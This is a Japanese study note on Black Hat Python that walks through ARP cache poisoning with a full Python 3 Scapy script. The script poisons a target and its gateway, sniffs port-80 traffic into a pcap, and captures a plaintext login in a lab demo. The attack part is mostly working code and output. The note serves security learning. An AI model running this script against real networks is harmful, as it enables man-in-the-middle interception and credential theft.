本記事は、オライリージャパンから発行されている「サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考(原題:Black Hat Python)」の学習メモとして、書籍ではPython2で書かれていますが、自分なりに解釈した上でPython3に書き直しをしています。
今回はARPキャッシュポイズニング(ARPスプーフィング)について学びます。
今では古典的な技術ではありますが、同一ネットワーク内のホストに対する攻撃としてはもっとも効果的な方法です。
- ARPとは
- ARPキャッシュポイズニングとは
- ネットワーク環境の準備
- ライブラリのインポート
- MACアドレスの取得
- ARPキャッシュポイズニングの実装
- ARPテーブルの復元
- メイン関数の実装
- 動作確認
- 最後に
- 参考書籍
ARPとは
ネットワーク上のホストがローカルネットワークの外にパケットを送信するためには、まず外部ネットワークへパケットを転送するルータ(デフォルトゲートウェイ)にパケットを送信しなければなりません。
そのため、ローカルホストはネットワーク設定時に入力したルータのIPアドレス(デフォルトゲートウェイ)からルータのMACアドレスを調べる必要があります。
その際に利用されるプロトコルがARP(Address Resolution Protocol)と呼ばれるものです。
ローカルホストは宛先IPアドレスにルータのIPアドレスを、また送信先MACアドレスにブロードキャストを意味する"ff:ff:ff:ff:ff:ff"をセットし、ローカルネットワーク上のホスト全てにARPリクエストを送信します。
このブロードキャストを受信したホストは宛先IPアドレスが自分のものか確認し、そうであった場合にARPリプライを送信し、アドレス解決が完了します。
なお、ここで解決されたMACアドレスとIPアドレスの対応については、一定時間ホスト上のARPテーブルという領域にキャッシュされます。
ARPキャッシュポイズニングとは
ARPキャッシュポイズニングについては、ARPスプーフィングとも呼ばれる古典的な攻撃手法です。
上記のARPの仕組みを利用して、標的に偽の情報をARPテーブルに登録(キャッシュ)させます。
一般には、標的とルータ(デフォルトゲートウェイ)の間に入ってパケットを中継し、盗聴や改ざんを行う「中間者攻撃(MITM:Man in the Middle)」として利用します。
ネットワーク環境の準備
今回は標的としてWindows PCを利用し、攻撃用にKali Linux(仮想マシン)を使い、外部ネットワーク上にあるWebサーバのログイン情報を取得してみます。
以下がネットワーク構成図になります。
それでは、スクリプトを作成していきます。
ライブラリのインポート
今回は以下のライブラリを使用します。
# arp_poisoning.py from scapy.all import * import os import sys import threading import signal
MACアドレスの取得
def get_mac(ip_address): responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10) for s, r in responses: return r[Ether].src return None
ターゲットのIPアドレスを引数として、ARPパケットを作成し、取得したMACアドレスを返します。
ARPキャッシュポイズニングの実装
今回はMITM型の攻撃になるため、標的ホストとルータに対して、それぞれ偽のARPテーブルを作成させます。
def poison_target(gateway_ip, gateway_mac, target_ip, target_mac, stop_event): poison_target = ARP() poison_target.op = 2 poison_target.psrc = gateway_ip poison_target.pdst = target_ip poison_target.hwdst = target_mac poison_gateway = ARP() poison_gateway.op = 2 poison_gateway.psrc = target_ip poison_gateway.pdst = gateway_ip poison_gateway.hwdst = gateway_mac print("[*] Beginning the ARP poison. [CTRL-C to stop]") while True: send(poison_target) send(poison_gateway) if stop_event.wait(2): break print("[*] ARP poison attack finished.") return
ARPテーブルの復元
攻撃が終了したら、標的ホストおよびルータのARPテーブルをリストアします。
def restore_target(gateway_ip, gateway_mac, target_ip, target_mac): print("[*] Restoring target...") send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5) send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)
メイン関数の実装
以下がメイン関数となります。
def main(): target_ip = "192.168.2.1" host_ip = "192.168.2.100" gateway_ip = "192.168.2.254" interface = "eth0" packet_count = 200 conf.iface = interface conf.verb = 0 print("[*] Setting up {}".format(interface)) gateway_mac = get_mac(gateway_ip) if not gateway_mac: print("[!!!] Failed to get gateway MAC. Exiting.") sys.exit(1) else: print("[*] Gateway {} is at {}".format(gateway_ip, gateway_mac)) target_mac = get_mac(target_ip) if not target_mac: print("[!!!] Failed to get target MAC. Exiting.") sys.exit(1) else: print("[*] Target {} is at {}".format(target_ip, target_mac)) stop_event = threading.Event() poison_thread = threading.Thread(target=poison_target, args=[gateway_ip, gateway_mac, target_ip, target_mac, stop_event]) poison_thread.start() print("[*] starting sniffer for {} packets".format(packet_count)) bpf_filter = "ip host {} and tcp port 80".format(target_ip) packets = sniff(count=packet_count, filter=bpf_filter, iface=interface) wrpcap('arper.pcap', packets) stop_event.set() poison_thread.join() restore_target(gateway_ip, gateway_mac, target_ip, target_mac) if __name__ == '__main__': main()
動作確認
それでは、上記のスクリプトを実行してみます。
まず、攻撃前に標的ホストのARPテーブルの状態を確認しておきます。
コマンドプロンプトを起動し、以下のコマンドを入力します。
ルータ(デフォルトゲートウェイ)のIPアドレスが"192.168.2.254"に対してMACアドレスが"ca-01-29-80-00-1c"であることが確認できます。
次に攻撃用のKali Linuxでパケットの転送が可能になるように、"ip_forward"の設定を有効化してからスクリプトを起動します。
> ipconfig イーサネット アダプター Host: 接続固有の DNS サフィックス . . . . .: リンクローカル IPv6 アドレス. . . . .: fe80::70ac:2ed6:f889:82c6%9 IPv4 アドレス . . . . . . . . . . . .: 192.168.2.1 サブネット マスク . . . . . . . . . .: 255.255.255.0 デフォルト ゲートウェイ . . . . . . .: 192.168.2.254 > arp -a インターフェイス: 192.168.2.1 --- 0x9 インターネット アドレス 物理アドレス 種類 192.168.2.254 ca-01-29-80-00-1c 動的 192.168.2.255 ff-ff-ff-ff-ff-ff 静的 224.0.0.22 01-00-5e-00-00-16 静的 224.0.0.251 01-00-5e-00-00-fb 静的 224.0.0.252 01-00-5e-00-00-fc 静的 239.255.255.250 01-00-5e-7f-ff-fa 静的
エラーもなくスクリプトが起動したら、標的ホストのARPテーブルを確認してみます。
> arp -a インターフェイス: 192.168.2.1 --- 0x9 インターネット アドレス 物理アドレス 種類 192.168.2.100 00-0c-29-86-b9-2f 動的 192.168.2.254 00-0c-29-86-b9-2f 動的 192.168.2.255 ff-ff-ff-ff-ff-ff 静的 224.0.0.22 01-00-5e-00-00-16 静的 224.0.0.251 01-00-5e-00-00-fb 静的 224.0.0.252 01-00-5e-00-00-fc 静的 239.255.255.250 01-00-5e-7f-ff-fa 静的
ゲートウェイのMACアドレスが攻撃用のKali LinuxのMACアドレスである"00-0c-29-86-b9-2f"に書き換えられています。
この状態で外部のWebサーバのログイン認証を行ってみます。
> curl -d user=admin -d password=pass http://192.168.0.1/login/auth.php <!DOCTYPE html> <html lang="ja"> <head> <meta charset='utf-8'> </head> <body> <p>ログインしました</p> </body> </html>
一連の作業が完了したら、起動しているスクリプトを"Ctrl + C"で終了します。
スクリプトが問題なく終了すると、"arper.pcap"というファイルがスクリプトと同じディレクトリに作成されているので、パケットがキャプチャされているかWiresharkで確認してみます。
問題なくキャプチャされているのが確認できました。
最後に
今回は古典的ではありますが、有名な攻撃手法であるARPキャッシュポイズニングについて学びました。
上記では200パケットを取得すると強制終了します。
実際にはすべてのパケットをキャプチャしようとすると、メモリが足りなくなってしまいますので、必要となるパケットに焦点を絞ったフィルタリングが重要となります。